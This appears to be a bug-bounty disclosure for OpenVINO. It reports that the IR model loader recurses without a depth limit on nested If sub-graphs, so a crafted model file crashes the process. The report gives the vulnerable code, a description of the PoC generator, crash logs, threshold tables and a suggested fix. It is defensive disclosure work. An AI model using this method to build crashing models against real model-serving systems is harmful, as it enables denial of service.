YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
OpenVINO IR frontend: unbounded recursion in nested If/Loop/TensorIterator sub-graph deserialization causes a native stack-overflow crash (SIGSEGV)
Status: Verified (independently reproduced via real execution). Prepared for huntr submission.
Target
- Repo: openvinotoolkit/openvino
- Package under test: pip
openvino==2026.2.1(build2026.2.1-21919-ede283a88e3-releases/2026/2), CPU plugin - Component:
src/core/xml_util/src/xml_deserialize_util.cppβov::frontend::ir::XmlDeserializer
Dedup note
This is not the same finding as openvino-ir-if-op-architectural-backdoor-poc (an earlier
finding by the same author, already public on this account). That finding is a semantic
content-level backdoor hidden inside a single, ordinary, non-recursive If node β a
scanner-evasion / model-integrity issue. This finding is a structural flaw in the
deserializer's recursion architecture itself (unbounded call-stack depth), independent of what
the nested sub-graph bodies semantically contain. No known CVE was found covering unbounded
recursion depth in the OpenVINO IR frontend's control-flow sub-graph parsing at the time of
writing.
Root cause
In src/core/xml_util/src/xml_deserialize_util.cpp,
ov::frontend::ir::XmlDeserializer::parse_function() is invoked recursively β once per nesting
level β whenever the deserializer encounters a control-flow op's sub-graph attribute
(then_body / else_body for If-opset8, body for Loop / TensorIterator), via
on_adapter(name, ValueAccessor<shared_ptr<Model>>&):
// src/core/xml_util/src/xml_deserialize_util.cpp
void XmlDeserializer::on_adapter(const std::string& name, ov::ValueAccessor<std::shared_ptr<ov::Model>>& adapter) {
std::shared_ptr<ov::Model> model;
io_map = {};
if (!name.compare("body") || !name.compare("then_body") || !name.compare("else_body")) {
auto body_node = m_node.child(name.c_str());
if (body_node.empty()) {
OPENVINO_THROW("TensorIterator has no body.");
}
model = parse_function(m_node.child(name.c_str()), m_weights); // <-- recursive call, no depth limit
} else if (!name.compare("net")) {
model = parse_function(m_node, m_weights);
} else {
OPENVINO_THROW("Error: not recognized adapter name: ", name, ".");
}
adapter.set(model);
}
There is no recursion-depth limit anywhere in this call chain (parse_function() β
(per-node) on_adapter() β parse_function() β ...). A crafted IR with N If ops nested
inside each other's else_body causes N levels of genuine C++ call-stack recursion during
ov::Core().read_model(), before any shape/semantic validation of the graph happens. Once
N is large enough to exceed the calling thread's stack, the process segfaults (native stack
overflow) β a plain, unauthenticated DoS reachable purely by loading an attacker-supplied model
file, no special build (ASan/debug) required to observe it.
PoC
gen_deep_if.py builds a minimal, structurally-valid nested-If IR of parametrized depth N.
Each nesting level:
Parameter(f32, [1,4])
-> boolean Const(cond, 1 byte, offset=0/size=1 into a shared 1-byte .bin)
-> If(opset8) { then_body: trivial Parameter->Result;
else_body: level N+1, or a trivial Parameter->Result at the deepest level }
-> Result
Only a single 1-byte weights blob is needed β every level's boolean Const reads the same
offset=0, size=1.
Usage:
python3 gen_deep_if.py <depth> <out_prefix>
Loaded via plain ov.Core().read_model('deepif_N.xml', 'deepif_N.bin') on the real, unmodified
pip-installed openvino==2026.2.1 wheel (CPU, no custom build).
Captured evidence (depth = 5000, default 8 MB thread stack)
$ python3 -c "
import faulthandler; faulthandler.enable()
import openvino as ov
print('OpenVINO version:', ov.__version__)
core = ov.Core()
m = core.read_model('deepif_5000.xml', 'deepif_5000.bin')
print('LOADED OK (should not reach here)')
"
OpenVINO version: 2026.2.1-21919-ede283a88e3-releases/2026/2
Fatal Python error: Segmentation fault
Current thread 0x00007fa216107200 (most recent call first):
File ".../venv/lib/python3.13/site-packages/openvino/_ov_api.py", line 603 in read_model
File "<string>", line 7 in <module>
Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
$ echo $?
139
Reproduced 3/3 across independent fresh Python processes. faulthandler shows the crash
occurring natively inside openvino/_ov_api.py's read_model() call with no further Python
traceback β consistent with a native (C++) stack overflow rather than a Python-level error.
Negative control
$ python3 -c "import openvino as ov; m=ov.Core().read_model('deepif_1000.xml','deepif_1000.bin'); print('LOADED OK, ops:', len(m.get_ordered_ops()))"
LOADED OK, ops: 4 (exit 0)
Stack-size scaling (definitive stack-overflow signature)
ulimit -s scaling rules out a data-dependent memory-corruption bug and confirms unbounded
recursion depth as the cause β the crash threshold moves proportionally with available stack
size:
$ bash -c 'ulimit -s 16384; python3 -c "import openvino as ov; ov.Core().read_model(\"deepif_3000.xml\",\"deepif_3000.bin\"); print(\"LOADED OK\")"'
LOADED OK (exit 0) # same file that crashed (139) at default 8192 KB stack
$ bash -c 'ulimit -s 2048; python3 -c "import openvino as ov; ov.Core().read_model(\"deepif_1000.xml\",\"deepif_1000.bin\"); print(\"LOADED OK\")"'
Segmentation fault (exit 139) # same file that loaded OK at default 8192 KB stack
Threshold bracketing (default 8 MB stack)
| depth | result |
|---|---|
| 1000 | LOADED OK |
| 2000 | LOADED OK |
| 2500 | LOADED OK (slow, ~66s β hints at additional superlinear-time behavior at depth) |
| 3000 | SIGSEGV (139) |
| 5000 | SIGSEGV (139) |
Stack-size scaling control
| ulimit -s | depth | result |
|---|---|---|
| 8192 KB (default) | 3000 | SIGSEGV |
| 16384 KB | 3000 | LOADED OK |
| 8192 KB (default) | 1000 | LOADED OK |
| 2048 KB | 1000 | SIGSEGV |
Impact
Any application that loads an untrusted/attacker-supplied .xml/.bin OpenVINO IR model pair
(a common pattern for model-serving, model-zoo, or plugin-style deployments) can be crashed
(denial of service) with a small, easily generated file β no malformed binary data, integer
overflow, or type confusion is needed, just ordinary nested If control-flow structure that the
IR format already permits. The crash happens during model loading, before inference, so it
affects any code path that calls Core::read_model() on untrusted input.
Suggested fix
Add an explicit recursion-depth counter/limit to XmlDeserializer::parse_function() /
on_adapter() (e.g., reject IR graphs with sub-graph nesting beyond a sane bound, or convert
the recursive descent into an explicit-stack iterative traversal), and validate nesting depth
before recursing.
Files in this repository
gen_deep_if.pyβ PoC generator (parametrized depth)deepif_5000.xml/deepif_5000.binβ primary crash repro (reliable SIGSEGV at default 8 MB stack)deepif_1000.xml/deepif_1000.binβ negative control (loads cleanly,LOADED OK, ops: 4)